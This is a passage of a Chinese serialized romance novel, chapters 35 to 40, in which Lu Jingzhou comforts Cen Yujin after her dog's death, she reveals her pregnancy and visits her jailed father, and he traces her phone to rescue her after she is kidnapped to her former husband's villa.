仔细地掖好边角,确保完全包裹住,不让岑予衿看到更多残忍的细节。 做完这一切,他才抱着那个小小的、散发着异味的包裹站起身,转身走向岑予衿。 脸上没有任何嫌弃或厌恶,只有一种深沉的肃穆。 他走到岑予衿面前,将包裹轻轻递到她面前,声音低沉而温柔,“笙笙,豆丁……我们接它回家。” 岑予衿看着那个被昂贵西装包裹着的小小隆起,看着陆京洲沾满泥土的双手和身上仅剩的衬衫,看着他明明难以忍受却强自镇定的表情,一直强撑的坚强瞬间瓦解。 她伸出颤抖的手,却没有去接那个包裹,而是猛地扑进陆京洲的怀里,失声痛哭,仿佛要将所有的委屈、愤怒和悲伤都哭出来。 陆京洲一手稳稳地托着豆丁,另一只手紧紧回抱住她,任由她的眼泪浸湿自己的衬衫。 他低下头,下颌轻轻抵着她的发顶,无声地给予安慰。 月光凄清,照着满地狼藉的玫瑰残骸,照着相拥的两人,以及那个被小心翼翼包裹起来的小豆丁。 空气中弥漫着毁灭后的死寂,充斥着无法言说的悲伤。 陆京洲没有带岑予衿回周家,也没有立刻回陆宅,而是直接去了京城最好的宠物殡葬服务公司。 他提前打了电话。 他们到达时,整个公司灯火通明,所有员工严阵以待,以最高规格接待。 豆丁被专业人员接过,进行细致的清洁和整理。 陆京洲全程陪同,紧紧握着岑予衿的手,不允许任何人有一丝一毫的怠慢。 他还亲自挑选了一副用顶级紫檀木打造的小棺材,内里衬着最柔软的白色丝绸,边缘甚至镶嵌了细小的珍珠和碎钻,奢华得不像是给小宠物用的,更像是一件艺术品。 “它生前没享到什么福,跟着你……也受了不少委屈。”陆京洲看着棺材,声音低沉,“现在,我得让它风风光光地走。” 岑予衿的眼泪又落了下来,紧紧抓着他的手,说不出话。 整理好的豆丁被小心翼翼地放入棺中,它看起来干净了许多,毛发被梳理得蓬松,仿佛只是睡着了。 那个沾满泥污的铃铛也被擦拭干净,放在了它的爪边。 陆京洲又亲自挑选了一处风水极好的墓地,位于城郊一座宁静的山坡上,面朝湖泊,绿草如茵。 很大一块墓地,却只有一座墓碑。 陆京洲亲手葬了小狗,那座大墓碑旁,多了一座小墓碑。 第35章 奶奶,您有阿洲小时候的照片吗? 车厢内一片沉寂。 岑予衿靠在车窗上,眼神空洞地望着窗外飞速倒退的夜景,脸颊红肿得吓人,清晰的指印盘踞在她苍白的皮肤上,触目惊心。 陆京洲吩咐司机开往私立医院,岑予衿却像是被触动了什么开关,猛地摇头,声音沙哑带着哭腔,“我不去……我不去医院……” 她此刻抗拒任何陌生的环境,只想把自己藏起来。 陆京洲看着她惊弓之鸟般的模样,心头一紧,没再坚持,对司机报了陆家老宅的地址。 小心翼翼的把人搂进怀里,“别哭了,你哭的很伤心,可是我不知道该怎么哄你。” 他这说的是真的。 到头来他也只会说一句别哭了,都过去了。 这样的无效安慰,只会让她更难受。 回到陆宅,陆京洲半扶半抱着将她带回卧室,让她坐在柔软的沙发上。 自己则迅速去取医药箱。 陆京洲单膝跪在她面前,打开医药箱,拿出冰袋和消肿的药膏。 “可能会有点凉,忍一下。”他的声音是前所未有的温柔,与之前在周家那个油盐不进的混不吝二世祖判若两人。 先用柔软的毛巾包裹住冰袋,动作极其轻柔地敷在她红肿的脸颊上。 冰冷的触感让岑予衿下意识地瑟缩了一下,陆京洲立刻停住,紧张地看着她。 “是不是很疼?” 岑予衿摇了摇头,眼泪却不受控制地又涌了上来,不是因为疼,而是因为这小心翼翼的珍视。 见她摇头,陆京洲才继续手上的动作,小心翼翼地用冰袋帮她冷敷,避开破皮的地方。 他的指尖偶尔会碰到她的皮肤,带着灼人的温度,动作却轻得要命。 冷敷后,他拧开药膏,用棉签蘸取,一点一点,极其耐心地涂抹在红肿处。 药膏清清凉凉,稍微缓解了那火辣辣的痛感。 整个过程,他的眉头就没有放下来过。 陆京洲靠得很近,岑予衿能清晰地闻到他身上清冽的气息,混合着淡淡的药膏味,有种莫名的安全感。 “好了。”他收起药膏,却没有立刻起身,而是仰头看着她,深邃的眼底带着毫不掩饰的心疼和一丝不易察觉的懊恼。 岑予衿看着他,看着他眼底映出自己狼狈的模样,看着他为自己做的一切。 从为她出头,到为她徒手挖出豆丁,再到此刻跪在她面前为她细心处理伤口。 心中的坚冰,似乎在一点点融化,连自己都没有发现。 她摇了摇头,想说点什么,喉咙却像是被堵住,只能发出细微的哽咽。 陆京洲叹了口气,站起身,坐到她身边,将她轻轻揽入怀中,让她的头靠在自己肩上。 “不想说话就不说,”他低沉的声音在她头顶响起,带着令人安心的力量,“哭累了就睡一会儿,我在这儿陪着你。” 他没有再多问,也没有再提周家那些糟心事,只是静静地抱着她。 岑予衿闭上眼睛,感受着他胸膛传来的温热和有力的心跳,一直紧绷的神经终于慢慢松懈下来,极度的悲伤和疲惫如同潮水般将她淹没。 在他令人安心的气息包裹下,渐渐沉沉睡去。 陆京洲感觉到怀中人呼吸变得均匀绵长,低头看着她即使睡去依旧紧蹙的眉头和红肿未消的脸颊,眼神一点点沉郁下来。 他小心翼翼地将她抱起,放到床上,盖好被子,指尖轻轻拂过她受伤的脸颊。 …… 一连几天岑予衿的心情都不是很好。 陆京洲也破天荒的没有跟她对着干。 偶尔还会给她买个小蛋糕,带她出去散步。 他所做的一切,岑予衿都看在眼里。 她不喜欢欠人情的感觉。 可是陆京洲什么都不缺。 只有那把伞,他提过好多次。 岑予衿打算复刻一把。 只不过,她连那把伞都没有见过,复刻一把并不是那么容易的事情。 老太太也许知道。 陆宅的花园里拦住了正修剪月季的陆老太太。 老太太穿着素色棉麻衫,银丝梳得整整齐齐,手里的园艺剪咔嚓作响,见她过来,慈眉善目地笑了笑,“丫头,怎么这会儿过来了?京洲那小子没陪着你?” 岑予衿指尖攥得微微发紧,避开老太太探究的目光,望向花丛里开得正艳的粉月季,声音细弱却清晰,“奶奶,我想跟您讨点东西。” “哦?想要什么?尽管说。”陆老太太放下剪刀,掏出手帕擦了擦手,眼底带着几分笑意。 “我想看看京洲小时候的照片。”岑予衿抬眼,撞进老太太含笑的眼眸。 这话半真半假,紧张得她耳尖都红了。 陆老太太闻言,乐不可支地拍了拍她的手,“这有什么好害羞的!想了解京洲是好事啊!那小子打小就犟,照片倒是存了不少。走,奶奶带你去书房拿。” 岑予衿跟着老太太走进雅致的书房,红木书柜里整齐地摆着几册相册。 老太太抽出最底下那本烫金封面的,翻开第一页就是个圆滚滚的小男孩,穿着虎头鞋,正咧着嘴笑,露出两颗刚冒头的小乳牙,眉眼间和现在的陆京洲依稀有几分相似,却少了几分凌厉,多了些憨态。 “你看这张,他三岁的时候,非要跟着家里的保镖学武术,结果摔了个屁股墩,哭着要糖吃呢。”老太太指着照片,笑得眼角皱纹都挤在了一起。 岑予衿一页页翻着,目光不自觉地在照片上流连。 她看到陆京洲小学时穿着校服,站在领奖台上。 看到他初中时打篮球,汗湿了额发,笑容张扬又耀眼……原来那个看似玩世不恭的陆京洲,小时候也有这样软糯、鲜活的模样。 翻到最后几页,一张泛黄的老照片突然吸引了她的注意。 第36章 怀孕?谁的?周时越的! 岑予衿小心翼翼的把照片取了出来,指着陆京洲旁边的那个气质优雅的女人问道,“奶奶,这个是母亲?” 陆老太太看着那张照片,点了点头,脸上的笑意也收了回去,声音里透着惋惜,“拍这张照片时阿洲才五岁,也是和他的妈妈最后一张照片。” 岑予衿有点搞不清楚陆家复杂的关系。 不知道当年,三个人之间到底发生了什么。 陆京洲的母亲苏月沁和陆京洲的父亲陆鹤嵩是商业联姻,却是外人眼里的模范夫妻。 结婚十年,苏月沁生了两个孩子,分别是大少爷陆沉奕和二少爷陆京洲。 可就在陆京洲5岁那年,一场小小的感冒夺走了她的生命。 她离世仅10天,陆京洲的亲小姨苏月兰就住进了陆家,和陆鹤嵩光速领证。 所有人都不知道,这期间到底发生了什么。 外界传言苏月兰跟兄弟俩也有血缘关系,把他俩当成亲儿子疼,更是怕自己有孩子之后,兄弟俩会多心,一直没生宝宝。 直到5年前,才高龄生下了陆栩然。 陆沉奕对这个后妈不抵触,公开场合经常一块出席。 可陆京洲估计是年纪太小了,对母亲还比较依赖,行为乖张,讨厌极了这个后妈。 岑予衿看着那张照片,不由得感叹,陆京洲也太会遗传了。 陆沉奕她不是很熟,只是上次被藏獒扑倒的时候见过一面。 他那个大哥和他比起来简直是一个天上一个地下。 陆京洲完全是挑着父母的优点长的。 而他大哥更像父亲一些,不是一眼惊艳的类型。 “奶奶,这把伞好漂亮啊!”岑予衿状似不经意的提起,实则是想打探一下这把伞,到底是从哪来的。 “这油纸伞可大有来头呢,是京洲妈妈亲手做的,伞柄上还有她亲手刻的阿洲的名字,不过这伞被那臭小子弄丢。” 完了! 这伞是他母亲亲手做的,想要糊弄他,且蒙混过关……实在不容易。 只能尽力试试。 “奶奶,那你有没有听说这伞是哪做的,或者是还有没有其他的照片?” 岑予衿想问清楚一些,毕竟做这些东西太有难度了,得有地方参考。 “听说是城西桐树巷那边,不过这都是10多年前的事儿了,不知道现在还有没有,笙笙这是想干什么?” 岑予衿知道瞒不住,索性不藏着掖着,“阿洲很喜欢这把伞,我不想让他留下遗憾,不过我的手没有母亲那么巧,估计做不出这么精致的。” 陆老太太听到这话满脸欣慰,“笙笙,这送礼物讲求的就是个心意,心意到了,阿洲自然能感受到,没必要挣高下。” 岑予衿茅塞顿开。 “我知道了奶奶,照片我就先收着了,过些日子再还您。” 说完,不等老太太说话,她就小跑着离开了。 看着她离开的背影,老太太欣慰的点了点头。 这孩子和阿洲相处的很不错。 她也肯为阿洲花心思。 她没看错人。 管家张叔看着老太太脸上露出的笑,也跟着笑了,“二少爷对二少奶奶和对别人不一样。” “哦~怎么个不一样法?”陆老太太也来了兴趣。 “回门那天二少奶奶受了欺负,二少爷可没惯着周家人,周家好几个项目都黄了。为了讨二少奶奶开心,变着法的围着她哄,好几天都没有出门了。” 以前陆京洲可不是这样的,一连好几天都不可能在家里看到他的身影。 老太太高深莫测的摇了摇头。 自己的孙子自己还不清楚。 他这么殷勤也不过是为了檀月山庄。 “让人去岑氏通知一下,过些时日岑氏由二少奶奶全面接管。” 在她提出要岑氏的那一天,陆老太太就安排好了。 向岑氏抛出了橄榄枝,迅速收揽到了麾下。 这几天她的表现不错,可以奖励一下。 “老夫人,具体是哪天?” “这得算个良辰吉日,让笙笙风风光光的上任。” 管家点了点头,转身离开。 老太太继续修剪着手里的花枝。 中间那只开的正艳,而身旁是两个差不多的花骨朵。 老太太的剪刀对准了最中间开的正艳的那朵玫瑰连根剪下。 满意的欣赏着自己的杰作。 …… 咖啡厅! 苏乐言刚杀青了一部剧。 今天刚好是岑予衿去探监的日子,苏乐言每次都跟她一块去,就约在了经常来的咖啡厅喝下午茶。 想着喝完下午茶,和往常一样去商场买点东西再过去。 岑予衿到的时候,苏乐言已经点好了她惯喝的热海盐芝士拿铁,正捧着杯子暖手。 “这里!”苏乐言冲她招手,待岑予衿走近,目光在她身上转了一圈,才笑着打趣,“裹得这么暖和,像只软糯糯的北极兔。今天这身温柔得能掐出水来,不知道的还以为你去约会的。” 岑予衿今天穿着一件燕麦色的羊绒双排扣大衣,版型挺括却不失柔和。 敞开的衣襟露出内搭,一件米白色的高领羊绒毛衣,下身搭配着浅杏色的直筒羊毛裤,裤腿微微盖住鞋面。 脖子上随意绕着一条奶白色的蓬松羊毛围巾,衬得她未施粉黛的脸愈发小巧,整个人看起来干净利落,像是冬日里一杯升起袅袅白雾的热牛奶,温暖又柔和。 以前的岑予衿最喜欢穿裙子了,可周时越回来之后她再也没穿过。 岑予衿无奈地笑了笑,被室温暖意熏得微红的脸颊显得气色很好,在苏乐言对面坐下,将同色系的羊绒手套放在一旁,“外面风大,冷得很。” 苏乐言立马把手里的拿铁推到她面前,“刚点的快喝点的暖暖身子。” 岑予衿看了一眼面前的拿铁摇了摇头,“我不能喝拿铁。” 苏乐言没好气的白了她一眼,“每次来都点他们家的拿铁,今天你居然跟我说不能喝?” 岑予衿轻轻招手唤来服务员,低声将桌上的拿铁换成了一杯热牛奶。 苏乐言疑惑地看着她这一系列动作,正要开口询问,却见岑予衿将温热的白瓷杯捧在掌心,另一只手无意识地抚上依然平坦的小腹,唇角漾开一抹极温柔的笑意。 “言言,”她声音很轻,像怕惊扰了什么,“我怀孕了。” 苏乐言猛地睁大眼睛,张开的嘴巴半晌没能合拢,手里的小银勺“叮当”一声掉在咖啡碟里,溅起几滴褐色的液体。 她像是没察觉,只是死死盯着岑予衿,满脸的难以置信。 不敢听到自己耳朵听到的话! “你……你说什么?”苏乐言的声音陡然拔高,又急忙压下去,身子前倾几乎要越过桌面,“怀孕?谁的?周时越的!什么时候的事?多久了?你怎么现在才告诉我!” 第37章 探监!失联! 苏乐言眉头皱的越来越紧。 周时越不仅带回来了个林舒薇,还和她在国外结了婚。 最主要的是他忘记了岑予衿还给他办了那么盛大的一场葬礼。 要是怀了他的孩子,得赶紧去打了。 衿衿还这么年轻,可不能这么轻易毁在一个渣男手里。 “走,咱们去医院,周时越的孩子可留不得,衿衿你还年轻,别吊死在一棵歪脖子树上。” 这两年她有多辛苦,她是看在眼里的。 可感情的事是怎么也勉强不来的呀。 说着,起身拉着她的手,就想往外走,“咱们明天再去看叔叔,今天先去医院,月份大了对你身体影响可大了。” 岑予衿看着他着急忙慌的样子,轻轻拍了拍她的手,“孩子不是他的。” 听到这话苏乐言松了口气,坐会位置上,“只要不是他的,谁的都行,你真是吓死我了,那孩子到底是谁的?” 苏乐言刚拿起面前的咖啡喝了一口想压压惊,下一秒实在没忍住,一下子吐了出来。 “陆京洲的。” 她话都说不利索了,“陆……陆京洲,是我认识的那个陆京洲吗?” 岑予衿晃了晃自己手上的戒指,“就是你想的那个陆京洲。” 那还不如周时越呢! 那个大魔头,哪里是衿衿治得住的。 不对!她晃手上的戒指是什么意思? “岑予衿你别告诉我你已经结婚了。” 岑予衿重重的点了点头,“刚结婚还没一个星期。” 这是刚出龙潭又进虎穴。 “你结婚都不跟我说?” 岑予衿看着她又要发作,立马起身坐在了他的身边,拍了拍她的小手,“事情不是你想的那样,我是结婚了,但不是以岑予衿的身份,是周家二小姐,周芙笙。” 岑予衿给她大概的讲了一下事情经过。 苏乐言是又庆幸又心疼。 不过,从她嘴里说出来的陆京洲和自己知道的似乎不太一样。 “衿衿,我可得给你提个醒,你可千万管住自己的心,陆京洲也不是什么好东西。” 她是娱乐圈的,陆京洲那花名她可太清楚了。 岑予衿重重的点头,“那是当然,言言,嫁给他是身不由己,而且我已经和陆老太太签了离婚协议,一年后我们会离婚。” “可有了孩子,你真的会舍得?” 岑予衿小心翼翼的摸着自己的肚子,“有舍才有得,我知道这对宝宝来说不公平,可……这是我唯一的机会。” 苏乐言暗暗的下定了决心,一定要努力工作,认真赚钱。 到时候就算衿衿真的失败了,至少还有她可以兜底。 “对了,言言别忘了现在我的身份是周芙笙,岑予衿已经死了,你可千万不能在陆家人面前露馅。” 苏乐言明白其中的利害,“你放心吧,但是这件事情你得找个机会和他们坦白,要是被他们发现了,事情就更不好办了。” “我知道,但现在还不是机会。” 苏乐言知道她在顾虑什么,“等再过段时间吧。” 从咖啡厅出来,岑予衿和苏乐言直接去了市中心一家大型商场。 岑予衿仔细挑选着父亲惯用的剃须刀牌子和一些耐存放的进口食品,保暖内衣,几本历史书以及一条自己亲手织的围巾。 苏乐言则默默往购物车里添了几条柔软的毛巾和一套舒适的居家服。 “叔叔在里面,这些用得着。”苏乐言轻声说,握了握岑予衿微凉的手。 “嗯。” 她们都没有注意到,在斜对面的护肤品专柜,一个戴着墨镜的身影正透过货架的缝隙注视着她们。 林舒薇原本是来取预定的精华,却没想到会撞见岑予衿。 上次陆京洲下手特别重,她好长时间没有出门了。 周家也因为得罪了陆家,丢了好些合作。 不过她已经和父亲那边联系好了,林氏财团会注资,周家不会破产。 周时越是她看上的男人,谁也不能抢走,谁也抢不走。 这刚出门就遇到了岑予衿,可真是晦气。 见两人提着购物袋走向电梯,似乎是往地下停车场去,林舒薇鬼使神差地跟了上去。 她小心地保持距离,看着岑予衿和苏乐言上了一辆出租车。 出租车一路向城郊驶去,周围的景色越来越偏僻。 林舒薇心中的疑惑更深,直到看见远处庄严的大门,她才赫然反应过来——这是京北监狱! 岑予衿来监狱干什么? 她一下子就反应过来了,岑予衿的父亲在京北监狱里。 她知道该怎么做了。 他们之间只隔了条狗命怎么能行? …… 京北监狱,探视室内。 岑予衿隔着玻璃,看着父亲岑明均穿着囚服,步履有些蹒跚地走出来。 不过短短数月,他的头发几乎全白了,脸上的皱纹也深了许多,唯有那双眼睛,在看到女儿时,瞬间迸发出光彩和难以掩饰的心疼。 “衿衿……”岑明均拿起电话,声音有些沙哑。 “爸。”岑予衿努力扬起一个笑容,也将听筒贴近耳边,“我给您带了些东西,剃须刀、保暖内衣、还有您爱看的历史书,都交给警官检查了。” “好,好。”岑明远连连点头,目光落在女儿明显清瘦的脸颊上,“你怎么样?一个人在外面……是爸爸连累了你。” “我很好,爸,您别担心。”岑予衿急忙打断他,下意识地想藏起戴着戒指的手,却又顿住。 她深吸一口气,决定坦白一部分事实,让父亲安心,“我结婚了。” 岑明均瞳孔微缩,满是惊愕,随即满脸惊喜,“是不是找到阿越了,他回来了就好,你能嫁给他爸爸很放心。” 周时越是他看着长大的,发生了那么大的事情,他也没有退婚的心思。 岑家刚出事的那些年,要不是他护着衿衿,她早就出事儿了。 可是上天似乎从来没有眷顾过她,两人领证的第二天他就出事儿了。 这些年衿衿一直在找他,也算是守得云开见月明了。 “阿越他怎么没跟着一块来?你们办婚礼了吗?” 岑予衿要解释的那些话全卡在了喉咙里,“他刚回国还很忙,等过段时间我们再一起来看您,婚礼已经办了,您很快就能当外公了。” 她要说她嫁进了陆家,还要夺回岑家那些东西,他一定会担心。 他在里面已经够苦了,这些事情她自己能解决好。 她只能努力维持着嘴角的弧度,附和着点头,“嗯,他……对我很好。您别操心我们,在里面一定要照顾好自己。” “放心,爸爸没事。”岑明均隔着玻璃,目光慈爱地流连在女儿脸上,又落在她的小腹,“你怀孕了,更要小心身体,别太累着。等阿越有空了,你们再一起来看我。” “好,爸爸,过几天我们一块来。”岑予衿承诺着,心却像被针扎一样疼。 探视时间很快结束。 看着父亲带着满足和期盼的笑容被狱警带离,岑予衿强撑的笑容瞬间垮了下来,只剩下满心的酸楚和沉重。 苏乐言上前扶住她有些摇晃的身子,心疼地低语,“衿衿,你何必……” “我不能说,”岑予衿打断她,声音带着一丝疲惫的沙哑,“看到他那么高兴,我开不了口。就让他以为……我过得很好吧。” 至少,这能支撑着父亲在里面坚持下去。 苏乐言也能理解,差点叔叔就跟着阿姨一块走了。 这是衿衿唯一的亲人。 监狱门口的风比市区更烈,卷着尘土打在脸上生疼。 岑予衿畏寒,裹紧了围巾,看着苏乐言的车汇入车流,才掏出手机点开网约车软件。 苏乐言家住城东,她要回陆家老宅,不顺路,临走前还反复叮嘱她“上车发定位”“保持电话畅通”,她都一一应了。 十分钟后,一辆黑色轿车缓缓停在面前,车牌号与软件显示一致。 岑予衿拉开车门坐进后座,报了手机尾号,便靠在椅背上闭目养神。 司机没多话,平稳地发动车子。 可驶出城郊公路,岑予衿渐渐察觉不对,导航显示该上高速,车子却拐进了一条荒僻的土路。 她猛地睁开眼,“师傅,你走错路了吧?” 司机没有回应,反而踩下油门,车速陡然加快。 岑予衿心头一紧,刚要去摸手机,后座两侧的车门突然被锁住了。 驾驶座上猛地转过身来一个戴着口罩的男人,手里还握着一根黑漆漆的铁棍。 第38章 陆京洲查到岑予衿的位置 陆京洲这几天回家都比较早,今天也不例外。 这几天他已经发现了她的一些小爱好。 喜欢吃小蛋糕,喜欢吃糖果,喜欢巧克力。 糖果和巧克力都是他让人从国外寄过来的,刚到,想着今天晚上回来给她个小惊喜。 一想到她那崇拜的目光,陆京洲就莫名的满足,也不知道到底是怎么回事儿。 “二少奶奶呢?这么晚了还在休息?吃晚饭了没有?”陆京洲换了鞋子,四处张望了一下,没看到平时坐在沙发上等他回来的人,有些好奇的问。 “二少奶奶早早的就出门了,到现在都还没回来。” 陆京洲皱眉,早早的就出门了,还不回来。 这都几点了? 她很小的时候就被送出国了,国内基本上没什么朋友。 周家回不了,能跑到哪去? 不会是……去山上看豆丁了吧? 这么晚了,一个人在外面也不安全。 陆京洲拿出手机,点进【自然醒】的聊天框,发送了语音。 【老婆,你去哪了,这么晚了还不回家,我给你带了你最爱吃的糖果和巧克力。】 过了老半天也没有回复。 陆京洲着急的在家里踱步,“她出门的时候有没有带人一块去?” “二少奶奶说约了朋友不用跟着,就没人跟着一块去。” 约了朋友? 还不让人跟着一块去。 这听起来怎么那么可疑? 陆京洲把糖果和巧克力放在桌上,提起小蛋糕拿起车钥匙出门。 他坐进驾驶座,一边发动车子,一边再次尝试拨打岑予衿的电话。 “嘟…嘟…您拨打的电话暂时无人接听,请稍后再拨……” 机械的女声让他的眉头越皱越紧。 一种莫名的焦躁感攫住了他。 她不是不懂事的人,即使有事,看到他的消息和未接来电也该回个信息。 他先是将车开往城郊的墓园。 天色已暗,墓园早已关门,周围空旷寂静,根本没有她的踪影。 陆京洲的心沉了下去。 立刻调转方向,一边往市区开,一边拨通电话,声音冷峻,“立刻查一下周芙笙今天的行踪。她早上出门见了朋友。我要知道她最后出现的地点和乘坐的车辆信息,越快越好!” 他握着方向盘的手不自觉地收紧。 手机突然连续震动起来。 不是电话,是微信消息的提示音,来自【自然醒】。 陆京洲立刻抓起手机点开。 然而,屏幕上并非预想中的文字或语音,而是一连串毫无规律的、由字母和数字组成的乱码! 消息还在不断弹出,密密麻麻,看起来就像是手机被不小心压到键盘,或者是在极度混乱的情况下无意识触碰产生的。 陆京洲的瞳孔骤然收缩。 这不可能是她故意发的! 她就算要开玩笑也不会是这种方式,尤其是在他多次联系不上之后。 唯一的解释是——她出事了! 手机在挣扎或被迫挟持中误触了发送键! 巨大的恐慌瞬间淹没了他,他强迫自己迅速冷静下来。 陆京洲猛地将车停在路边,对着电话那头的助理厉声喝道,“别查行踪了!立刻准备,我需要实时定位周芙笙的手机!现在!马上!” 他一边说,一边飞快地操作手机,将岑予衿发来的那一片乱码界面截图保存。 同时,他直接从车里拿出随身携带的笔记本电脑,连接手机热点,修长的手指在键盘上飞快敲击,调出了一个加密的追踪程序。 输入岑予衿的手机号码,程序开始运行。 屏幕上的地图不断缩放、定位…… 时间一秒一秒过去。 终于,一个闪烁的红点锁定在了周家半山别墅。 她怎么会突然去那儿? 第39章 不像是兄妹合照,倒像是情侣照! 岑予衿迷迷糊糊睁开眼睛,前额传来阵阵钝痛。 她想抬手触碰疼痛的地方,可刚要抬手才发现自己的手被反绑在身后。 脚踝处也有绳子绑着,压根动弹不得。 嘴巴被胶布封着,想呼救也是不可能的。 自己似乎是在一个柜子里——难不成是被人贩子盯上,拐卖了? 手腕上的手表振动了两下。 是谢司喻给她留得那个手表。 它看起来和普通机械手表无异,戴在手上就像装饰品,如果不注意看,没有人会怀疑。 她费力的抬起手腕,希望误触。 随便发些消息,只要能引起注意就好。 她同步登录的微信号是小号,上面的好友只有几个,不论是发给哪个都有可能获救。 岑予衿能感受到消息发出去时不一样的振动。 手很酸很酸,前额磕到了,估计还在流血。 房间里一片黑暗,岑予衿不知道现在几点,更不知道自己在哪儿。 那种对未知的恐惧感,让她的心脏疯狂跳动,根本静不下来。 突然,门口传来了一阵响动。 岑予衿下意识的屏住呼吸。 不一会儿,门从外面被打开,屋里的灯也随之亮了起来。 房间里走进一男一女。 岑予衿把小脸贴在衣柜上,眯着眼睛看外面的情况。 一股怒气直冲天灵盖,房间里的两人不是别人,正是她的前夫周时越和前夫的现任林舒薇。 看清楚人她就明白今天这事儿到底是谁搞得鬼。 肯定是林舒薇。 回门那天她被陆京洲打得挺惨的,这是想要蓄意报复? 可就算是要报复也不该把她弄到这儿。 她葫芦里到底卖的什么药。 岑予衿仔细观察着。 目光一凛,视线落在了不远处的墙上。 那里赫然悬挂着她和周时越的合照。 周时越坐在前面她站在他的身后,亲昵的拉着他的耳朵表情搞怪。 他们还没来得及拍婚纱照,这是一起去拍的写真。 所以……这是他们的婚房,半山别墅! “阿越,我好喜欢这栋别墅,这里可以当成我们的婚房吗?” 林舒薇紧紧搂着他的腰,把头抵在他的肩膀上,声音异常亲昵。 周时越听佣人说过,这是他亲手布置的岑予衿和他的婚房。 房间里还有岑予衿居住的痕迹。 现在舒薇这么说,不过是没有安全感,想要试探他一下。 “薇薇,这地方不好,那女人住过,她克夫克全家,别把晦气传染给你。我给你换个地方,换个你喜欢的地方,好不好?”周时越低头捧住她的脸,轻轻的在她的额头上蹭了蹭,语气满是宠溺。 林舒薇表情看起来有些遗憾,语气里却满是欢喜,假装不在意,“那好吧,我们的婚房一定要比这个还要大,还要好,还得你亲手布置。” “好,到时候给你一个大大的惊喜。”周时越低头在她的额头上亲了一下。 林舒薇嘴角勾起一个挑衅的笑容,看向衣柜的方向。 “那……这栋房子必须赶紧卖掉,里面的东西都要清空,要不然我就生气。” 周时越下意识的看了一眼,视线落在了墙上挂着的那张照片上。 心脏莫名的痛了一下。 不知道为什么,只要看到关于岑予衿的东西,他就会控制不住的心痛。 疯狂的想要逃避。 “薇薇,我真的不喜欢她了,就算我和她之间真的有什么,那也是过去式了,你不会是吃醋了吧?”周时越点了点她的鼻子。 “吃醋怎么了?我就是吃醋不行吗?现在我才是你老婆。”林舒薇的声音带着撒娇的意味。 “行行行,怎么都行老婆大人。” 岑予衿看着两人的互动,只觉得特别恶心,习惯了之后,心脏已经没有了疼痛的感觉。 所以……林舒薇费尽心思把她弄过来,就是为了听这些? 真没意思。 她忙得很,没时间找他们的麻烦,他们倒是上赶着找她了! 林舒薇知道岑予衿一定看到了。 按照她对周时越的执念,这会应该很不好受吧。 要是让她亲眼看到周时越在她面前和他发生关系。 让她彻底死心的同时,膈应死她! 等她看清楚了一切,在悄悄的把她遣送出国。 她已经联系好了人,等到了把她丢到海里喂鱼,真正会尸骨无存的就是她了。 再也没有人打扰他们了。 周时越有些心不在焉的,被怀里的女人一把扯住了领带,微微往下拉,软声道,“阿越,你怎么了?” 周时越这才将注意力集中到她身上。 她踮起脚尖,主动吻上了周时越的唇。 不是浅尝辄止的亲吻,缠绵又深入。 她的目光半眯着,越过周时越的肩膀,精准地投向衣柜的方向,眼神里充满了胜利者的炫耀和得意。 周时越起初有些意外,但很快便被林舒薇的热情点燃,疯狂回应着她。 衣柜里,岑予衿透过缝隙将这一幕尽收眼底。 胃里一阵翻江倒海的恶心,不是因为残留的爱意,而是因为这对狗男女的无耻。 她强迫自己移开视线,不再去看那令人作呕的画面。 亲吻时发出的暧昧声响,快要将她凌迟。 林舒薇气息微喘,脸颊绯红,眼神却更加大胆。 纤细的手指开始解周时越衬衫的纽扣,一颗,两颗……露出他结实的胸膛。 同时,引导着他的手来到自己裙子的拉链处。 “阿越……”她声音媚得能滴出水来,“就在这里,好不好?我想……在你和她曾经的婚房里,彻底覆盖掉她的痕迹。” 周时越呼吸粗重,显然被蛊惑了,“薇薇……” 他低哑着,俯身将她压向一旁的大床。 衣物摩挲的声音,暧昧的低语,床垫轻微的吱呀声·…每一种声音都像针一样扎进岑予衿的耳朵里。 她被封住的嘴里发出压抑的鸣咽,不是因为心痛,而是极致的愤怒和屈辱。 林舒薇不仅要侮辱她,还要在精神上彻底践踏她的尊严。 岑予衿的手一寸寸的捏紧,想要发出动静,可被捆绑的太死,根本活动不开。 耳边那些暧昧的声音还在持续。 她是个成年人,自然也清楚,他们在干什么。 一想到这个房间她住了两年,她就觉得恶心。 生理性的泪水瞬间蓄满眼眶。 想出去撕了他们的心都有了,可是她无能为力。 …… 陆京洲跟着手机上的位置追踪到了半山别墅。 这才发现,这儿就是后面有人追她,她一下子闯进他怀里的地方。 她怎么会突然来这儿呢? 陆京洲来不及思考这些。 周芙笙绝对不可能莫名其妙给他发那么多消息,还不接他电话。 看着面前紧闭的铁门。 引擎发出低沉的咆哮,黑色轿车非但没有减速,反而猛地加速,朝着那扇紧闭的雕花铁门直直撞了过去! “轰隆——!” 铁门瞬间扭曲,车子碾过倒塌的门扉,嚣张地闯入庭院,一个利落的甩尾,车身横亘在主楼门前。 轮胎在昂贵的大理石地面上擦出刺耳的声响,留下两道清晰的胎痕。 陆京洲推开车门,长腿迈出,动作带着一种漫不经心的狠戾。 环视四周,对闻声赶来的佣人与保安视若无睹。 他扯了扯嘴角,那抹笑意未达眼底,反而更添几分迫人的寒意,“我老婆呢?” 没人敢拦他,更没人敢说一句话。 他那股单枪匹马却仿佛带着千军万马的气势,另人胆寒。 “砰!” 主宅的门被一脚踹开。 陆京洲在房间里扫视了一圈,只有惊慌失措的佣人。 他莫名觉得这栋别墅有周芙笙生活过的影子。 难不成是周家给她的别墅? 这么豪华,感觉不太可能。 陆京洲抬脚往楼上走,到了2楼的走廊,视线定格在了走廊的照片墙上。 周芙笙的照片居多,偶尔夹杂着几张周时越的,拼成一个爱心形状。 中间是一张两人的合照,周时越的手搭在她的肩上,姿态亲昵,眼里含笑。 不像是兄妹合照,倒像是情侣照。 第40章 你们俩准备好怎么死了吗? 楼上的卧室内,巨响如同惊雷般炸响。 正意乱情迷的周时越动作猛地僵住,瞬间从情欲中惊醒,“什么声音?!” 林舒薇脸色一变,立刻搂住周时越的脖子,将他拉了回来,“可能是意外吧,保安会处理的,阿越,别停……” 然而,周时越已经失去了兴致。 他迅速从床上起身,胡乱地套上裤子,眉头紧锁地走到窗边,小心地掀开窗帘一角向下望去。 一辆嚣张的黑色轿车横亘在庭院中央,车头因撞击而微微变形。 林舒薇起床,从背后抱住了他,“阿越,别管那些好不好,我就要……” 岑予衿自然也听到了那声巨响。 是……有人来救她了? 肯定是谢司喻。 因为手表里的紧急联系人是他。 陆京洲只在那张照片墙前停留了几分钟,就收回了视线。 他们兄妹感情还挺好。 